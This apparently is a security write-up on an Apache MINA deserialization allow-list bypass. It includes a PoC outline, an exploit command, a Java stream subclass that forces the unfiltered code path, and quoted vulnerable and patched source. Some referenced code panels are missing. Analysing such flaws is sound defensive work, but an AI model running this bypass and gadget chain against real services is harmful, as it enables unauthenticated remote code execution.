Apache MINA is the network-I/O framework that backs a long list of well-known Apache subprojects — ActiveMQ Artemis, Vysper, FtpServer, SSHD’s pre-2.x versions, and many internal services. When applications use MINA’s ObjectSerializationCodecFactory they get Java-object framing for free: each TCP frame is [4-byte big-endian length][java-serialized object], decoded into a Java object that the handler can use.
Inside that decoder lives a custom ObjectInputStream whose resolveClass() method is supposed to enforce an allow-list of acceptable class names. As a defender, you call decoder.accept(Pattern.compile(“…”)) for every class you expect, and any other class fails deserialization with ClassNotFoundException. The pattern is the textbook JEP 290-style mitigation applied at the codec layer.
CVE-2026-42779 is the second time the MINA team had to fix this allow-list. It is an incomplete-fix follow-up to CVE-2026-41635 — the first patch only landed on mainline, and the 2.1.x / 2.2.x stable branches still had a type-confusion bypass that let an attacker reach Class.forName() without ever consulting acceptMatchers. Affected versions are mina-core 2.1.0 – 2.1.11 and 2.2.0 – 2.2.6; the fix landed in 2.1.12 and 2.2.7.
What is Apache MINA?
MINA = “Multipurpose Infrastructure for Network Applications”. It exposes a NIO-based selector loop, a pluggable filter chain (codec, SSL, logging), and a session-oriented IoHandler API. ObjectSerializationCodecFactory ships in mina-core itself and is the simplest “send me a Java object” codec the framework offers — popular for internal Apache services where everything on the wire is trusted… until it isn’t.
Attack Flow

- Attacker connects to any MINA listener using ObjectSerializationCodecFactory.
- Attacker sends one TCP frame: [len][serialized HashSet whose class descriptor was written with a leading 0x00 byte].
- MINA’s decoder peels the length, reads the descriptor, and routes resolution through resolveClass().
- Because the descriptor began with 0x00, ObjectStreamClass.forClass() returns null and the null-clazz branch runs Class.forName() without consulting acceptMatchers.
- The Commons-Collections gadget on the MINA classpath instantiates inside HashSet.readObject(), firing Runtime.exec() before the post-deserialize ClassCastException is even thrown.
PoC (Proof of Concept)
Step 1 – Recon
A bare TCP probe is enough: a MINA service using ObjectSerializationCodecFactory accepts a connection silently and waits for a length-prefixed frame. If the host accepts the connection but never reads unframed bytes, it is a candidate.
Step 2 — Payload Generation

The trick is in GeneratePayload.java: a subclass of ObjectOutputStream overrides writeClassDescriptor() to write a single 0x00 byte before each descriptor (see panel above). The rest of the payload is the standard CommonsCollections6 chain: ChainedTransformer → InvokerTransformer → LazyMap → TiedMapEntry → HashSet, wired via reflection so the chain doesn’t fire during construction. The finished bytes are prefixed with a 4-byte big-endian length and written to payload.bin.
Step 3 – Run the Exploit

python3 exploit.py -t localhost -g "touch /tmp/pwned"
exploit.py opens a TCP socket to 9123, sends the entire payload.bin contents in one write, then waits for a response. The post-gadget ClassCastException from the server closes the session, but the gadget chain already ran inside HashSet.readObject() before the cast attempt.
Step 4 – Verify Code Execution

docker exec mina-vuln ls -la /tmp/pwned
# -rw-r--r-- 1 root root 0 ... /tmp/pwned
Static Analysis
The Wire Format — One Frame, Two Halves
ObjectSerializationDecoder expects a single contiguous frame per object:
+----+---------------------------------------+
| 4 | java-serialized object bytes |
+----+---------------------------------------+
^^^^ big-endian int = serialized payload length
Anything smaller is buffered until a complete frame arrives. Anything larger than the decoder’s maxObjectSize (1 MB default) is rejected before deserialization begins. There is no magic number, no protocol header, no authentication.
The Custom ObjectInputStream Inside getObject()
The decoder calls IoBuffer.getObject(ClassLoader), which constructs an anonymous ObjectInputStream subclass inside mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java. The allow-list field is declared at the top of the outer class:
// AbstractIoBuffer.java:92 (both 2.2.6 and 2.2.7)
private final List<ClassNameMatcher> acceptMatchers = new ArrayList<>();
The two methods that matter are readClassDescriptor() and resolveClass(), both at lines 2176–2227 of 2.2.6:
// AbstractIoBuffer.java, mina-core 2.2.6 — readClassDescriptor() (lines 2176–2196)
@Override
protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException {
int type = read();
if (type < 0) {
throw new EOFException();
}
switch (type) {
case 0: // NON-Serializable class or Primitive types
return super.readClassDescriptor();
case 1: // Serializable class
String className = readUTF();
Class<?> clazz = Class.forName(className, true, classLoader); // *** UNFILTERED + initialize=true ***
return ObjectStreamClass.lookup(clazz);
default:
throw new StreamCorruptedException("Unexpected class descriptor type: " + type);
}
}
So MINA invented a “compact” serialization profile: type-1 means “I’m only sending the class name, look it up locally”, type-0 means “I’m sending a full JDK class descriptor”. Note that the type-1 branch already calls Class.forName with initialize=true — without consulting acceptMatchers. That’s a secondary attack surface (static-initialiser RCE for any class whose <clinit> does something dangerous); the primary surface lives in resolveClass.
resolveClass() — Where the Allow-list Was (and Wasn’t)
Once a descriptor is in hand, resolveClass() decides which Class object to bind to it. The vulnerable version sits at lines 2198–2227 of AbstractIoBuffer.java in 2.2.6:

The acceptMatchers loop is only inside the else branch. In the type-0 path the decoder calls Class.forName(name, false, classLoader) directly. That’s the bug. Combined with the unfiltered Class.forName in the type-1 branch of readClassDescriptor, there are two code paths from the wire to Class.forName that skip acceptMatchers in 2.2.6.
Why desc.forClass() Returns null for Attacker-Crafted Descriptors
ObjectStreamClass.forClass() returns the locally-resolved Class object that the descriptor was bound to during stream parsing — and it only returns non-null if the descriptor was a back-reference handle to a descriptor the stream had already resolved, or if it was the descriptor of a class that the local JDK had pre-bound. For a fresh descriptor read inline from the stream (the type-0 path), forClass() returns null.
The custom serializer in our PoC exploits this directly: by writing a 0x00 type byte and then a normal Java descriptor, every class on the gadget chain takes the type-0 path. forClass() is null for each. None of them ever hit the else branch where acceptMatchers would have caught InvokerTransformer, ChainedTransformer, LazyMap, or TiedMapEntry.
The Type-0 Bypass Stream
The bypass is twelve lines of Java:
static class Type0BypassOOS extends ObjectOutputStream {
Type0BypassOOS(OutputStream out) throws IOException { super(out); }
@Override protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
write(0); // type-0 marker
super.writeClassDescriptor(desc);
}
}
writeClassDescriptor is invoked once per unique class in the object graph. For each call we emit a zero byte, then defer to the JDK’s standard descriptor encoder. The receiving MINA decoder reads our zero byte as the type marker, recurses into super.readClassDescriptor() to consume the descriptor, and then resolveClass() takes the null-clazz branch — exactly once per class, all of them unfiltered.
The Incomplete-Fix Story – CVE-2026-41635 → CVE-2026-42779
The original fix for CVE-2026-41635 (Apache MINA, May 2026) addressed exactly this pattern, but only on the mainline development branch. The 2.1.x and 2.2.x stable lines kept shipping the bypass for several weeks afterwards. CVE-2026-42779 is the cleanup ticket that backports the same correction to the stable branches as 2.1.12 and 2.2.7.
The lesson — and a recurring one in deserialization patching — is that a single-branch fix for a class of bug in a vulnerability surface as deep as ObjectInputStream is not a fix. Until every supported release has the correction, the CVE is alive.
Why “Just Use an Allow-list” Isn’t the Story Here
The defender did everything the CWE-502 guidance asks: a small, explicit allow-list of expected classes. The bug isn’t “they forgot to allow-list”. The bug is “the allow-list code path is conditional on a stream-controlled type byte the attacker chooses freely”. That makes this a classic type-confusion-as-filter-bypass — exactly the same shape as the .NET null bypass you wrote up in CVE-2025-54539.
Patch Diffing
The Fix in 2.2.7 / 2.1.12 — Two Methods, Same Filter
The patch adds the acceptMatchers check in two places, not one:
- Inside readClassDescriptor() (line 2192) — before the type-1 branch calls Class.forName(className, true, classLoader). Closes the static-initialiser path.
- Inside resolveClass() (line 2212) — before either branch evaluates desc.forClass(). Closes the type-0 RCE path.
AbstractIoBuffer.java in 2.2.7, lines 2176–2204 (readClassDescriptor) and 2206–2227 (resolveClass):
// AbstractIoBuffer.java, mina-core 2.2.7 — PATCHED readClassDescriptor() (2176–2204)
@Override
protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException {
int type = read();
if (type < 0) {
throw new EOFException();
}
switch (type) {
case 0: // NON-Serializable class or Primitive types
return super.readClassDescriptor();
case 1: // Serializable class
String className = readUTF();
// Only accept classes that are listed as acceptable
// Apply class filter BEFORE calling Class.forName
if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
throw new ClassNotFoundException("Class not in accept list " + className);
}
// Use initialize=false to prevent static block execution during class loading
Class<?> clazz = Class.forName(className, true, classLoader);
return ObjectStreamClass.lookup(clazz);
default:
throw new StreamCorruptedException("Unexpected class descriptor type: " + type);
}
}
A subtle inconsistency in the patch: the // Use initialize=false … comment in readClassDescriptor is wrong — the call right below it still passes true. The comment hints at the intent of the surrounding refactor but the bypass closure happens in the new acceptMatchers check at line 2192, not in changing initialize=true → false.
Side-by-Side

Why This Fix Works
The hostile input — the type-0 byte — still flows through readClassDescriptor() exactly as before. What changed is that resolveClass() now extracts the class name and runs it through acceptMatchers before branching on whether forClass() is null. There is no longer a code path that reaches Class.forName() with an attacker-controlled name without checking the allow-list. The fix relies neither on changing the wire format nor on changing the type-byte semantics — both of those would be backwards-incompatible — only on hoisting the filter into the common prefix.
Upgrade Guidance
The 2.2.7 release notes explicitly state that operators must also explicitly populate acceptMatchers on every ObjectSerializationDecoder instance. The fix moves the filter out of the else branch but the default allow-list is still empty — an empty allow-list now rejects everything (correct behavior), but operators who relied on “MINA does the right thing out of the box” will see their applications break. That’s by design.
Conclusion
Any Apache MINA service that wires ObjectSerializationCodecFactory into its codec chain on a network-reachable listener is pre-auth RCE-able while a usable Java deserialization gadget is on its classpath. Commons-Collections 3.2.0–3.2.1 is the canonical gadget source and is bundled or transitively pulled in by a long tail of Apache distributions.
Resources
https://nvd.nist.gov/vuln/detail/CVE-2026-42779


